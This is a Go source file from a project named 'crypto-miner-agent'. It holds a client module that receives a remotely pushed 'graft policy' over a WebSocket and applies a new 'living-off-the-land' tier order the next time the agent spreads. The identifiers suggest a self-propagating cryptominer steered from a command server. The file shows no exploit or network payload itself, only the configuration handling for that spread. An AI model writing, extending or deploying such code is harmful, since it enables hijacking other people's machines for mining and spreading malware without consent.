package client import ( "encoding/json" "log" "strings" "crypto-miner-agent/config" "crypto-miner-agent/deploy" ) // GraftPolicy is pushed on auth / graft_policy WS when court approves a strain splice. type GraftPolicy struct { GraftSourceStrain string `json:"graft_source_strain"` GraftTier string `json:"graft_tier"` GraftApprovedAt string `json:"graft_approved_at"` TierOrder []string `json:"tier_order,omitempty"` SourceAgentName string `json:"source_agent_name,omitempty"` } func graftPolicyPresent(raw json.RawMessage) bool { if len(raw) == 0 || string(raw) == "null" { return false } var p GraftPolicy return json.Unmarshal(raw, &p) == nil && strings.TrimSpace(p.GraftTier) != "" } func (c *AgentClient) applyGraftPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p GraftPolicy if err := json.Unmarshal(raw, &p); err != nil || strings.TrimSpace(p.GraftTier) == "" { return } c.mu.Lock() c.pendingGraft = &p c.cfg.GraftSourceStrain = strings.TrimSpace(p.GraftSourceStrain) c.cfg.GraftTier = strings.TrimSpace(p.GraftTier) c.cfg.GraftApprovedAt = strings.TrimSpace(p.GraftApprovedAt) c.mu.Unlock() log.Printf("[agent] graft policy queued from %s tier=%s (applies on next spread)", p.SourceAgentName, p.GraftTier) } func (c *AgentClient) cfgForSpread() config.RuntimeConfig { c.mu.Lock() cfg := c.cfg graft := c.pendingGraft if graft != nil && len(graft.TierOrder) > 0 { cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(graft.TierOrder) c.pendingGraft = nil log.Printf("[agent] applying grafted tier order on spread: %v", cfg.LotlOnionTiers) } c.mu.Unlock() return cfg }